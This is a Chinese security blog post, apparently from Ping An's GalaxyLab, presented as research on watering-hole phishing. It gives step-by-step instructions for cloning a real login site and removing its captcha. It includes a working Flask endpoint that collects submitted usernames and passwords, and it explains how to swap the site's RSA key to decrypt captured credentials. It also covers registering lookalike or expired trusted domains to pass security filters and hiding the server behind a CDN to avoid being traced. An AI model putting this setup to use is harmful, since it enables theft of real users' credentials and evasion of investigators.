水坑钓鱼研究

百家 作者:平安安全应急响应中心 2022-08-17 23:37:55


>>>0x01 背景介绍


水坑攻击属于APT攻击的⼀种,与钓攻击相比,黑客无需耗费精力制作钓鱼网站,而是利用合法网站的弱点,隐蔽性比较强。在人们安全意识不断加强的今天,黑客处心积虑地制作钓鱼网站却被有心人轻易识破,水坑攻击则利被攻击者对站的信任。


水坑攻击利用网站的弱点在其中植入攻击代码,攻击代码利浏览器的缺陷,被攻击者访问站时终端会被植入恶意程序或者被盗取个人重要信息。


>>>0x02 准备工作


水坑钓鱼获取账户密码,主要伪造合法站,植入恶意代码窃取个人重要信息。
  • 寻找目标站点,克隆站;

  • 网站植入恶意代码用于窃取账户密码;

  • 仿冒相似的域名/高可信过期域名抢注;
  • 隐藏真实站点服务器;


>>>0x03 研究细节


(1)寻找目标站点,克隆

  • 站克隆工具:https://github.com/Threezh1/SiteCopy

  • 克隆目标站点:abc.test.com 某站点

可进行 python sitecopy.py -u "http://www.threezh1.com" -e 克隆整改站点,所有js等前端文件都会克隆下载下来。

默认站点代码会在website/克隆站点域名/目录下,如下图:


克隆下Web代码启动Web后,需要根据实际情况进行调整,例如启动会默认某些js无法正常克隆下来报错,根据实际情况进行获取放在相应的目录文件夹下。


始站点,如下图:


实际需要调整为无验证码等所需账户密码输入的登录框,目标如下:



找到登录框代码所在(不同前端查找方式不⼀样,但是通常都是关键字查找login等),然后进行调试查找验证码功能,修改提示信息,内容如下:


  • appxxx.js文



  • 对应chunkxxx.js文件修改



(2)网站植入恶意代码用于窃取账户密码


克隆站点页面显示调整完毕,需要找到“登录”触发点,尝试植入恶意代码获取所需账户密码,植入后台接口"http://ip:port/xxx",用户获取账户密码,如下图:



简单可以利用flask执着⼀个获取账户密码的接口,如下:


from flask import Flask,request,jsonify,make_responseimport jsonfrom flask_cors import CORSimport timeimport datetimeapp = Flask(__name__)CORS(app, resources=r'/*') t=datetime.datetime.now()#f=open('/root/script/access.log','rw')@app.route('/',methods=['GET','POST'])def hello():     if request.method== 'POST':     print("ok")     data=request.get_json(force=True)     print(data)     t1 =t.strftime('%Y-%m-%d %H:%M:%S')     #t1=time.mktime(time.strptime(t,'%Y-%m-%d %H:%M:%S'))     f1=open('/root/script/access.log','a')     f1.write(t1+":"+str(data)+"\r\n"     f1.close()     return dataif __name__ == '__main__':   app.config['JSON_AS_ASCII'] = False   app.run(host='0.0.0.0',port=8081)


上述简单案例,可以按需修改代码写入数据库或者做进⼀步返回处理,但是注意由于不同站点存在跨域访问的问题,所以需要处理同源策略忽略设置。


实际测试发现,该克隆站前端在获取账户密码时都加密处理,由于前端只有publickey,没办法获取到私钥,所以获取账户密码就没办法解密。



所以需要自己重新生成密钥对,在前端publickey处理替换掉,就可以使用我们自己公私钥解密账户密码,如下"var n=***"替换掉公钥:



使用如下工具平台:https://oktools.net/rsa 进行解密。



  • 仿冒相似的域名/高可信过期域名抢注


仿冒站点域名为:abc.test.com


域名申请尽量申请相似度高的域名,可在godaddy国外网站申请相似的域名:abc.test.club


也可以使用国内站申请域名,但是由于国内需要备案登录审核时间较长以及实名原因。(用的较少)


也可以尽量去找⼀下高可信用过期域名。直接使用godaddy申请域名存在域名信用度不过,会给安全策略限制。


  • 隐藏真实站点


仿冒站点为了防止被溯源,尽量给站点配置完域名后,给VPS配置CDN,这样就可避免溯源到真实站点。


可以在cloudflare申请cdn,进行解析绑定,如下图:


1. 配置解析的A,CNAME记录&申请NS解析记录。



2. 确定配置域名已经解析不到VPS地址,如下图:



上述申请的域名已经解析不到VPS地址,全部变为CDN地址。


>>>0x04 总结


站克隆修改,由实际站点代码语言已经部署情况来定位调整;

域名建议申请高信誉度的域名,容易过安全策略;

绑定配置完成CDN记得解析查看下。


>>>0x05 参考链接


https://github.com/Threezh1/SiteCopy 【SiteCopy】




银河实验室

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/


在微信公众号后台发送关键词【进群】
添加工作人员微信(备注进群)
即可进入PSRC白帽子交流群
获取一手活动及福利信息哦!


往期回顾


技术

利用Outlook宏创建基于邮件触发的后门

技术

技术解析 | JWT弱点的利用方式

技术

S2-062漏洞原理分析

技术

EBPF恶意利用及防御



点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接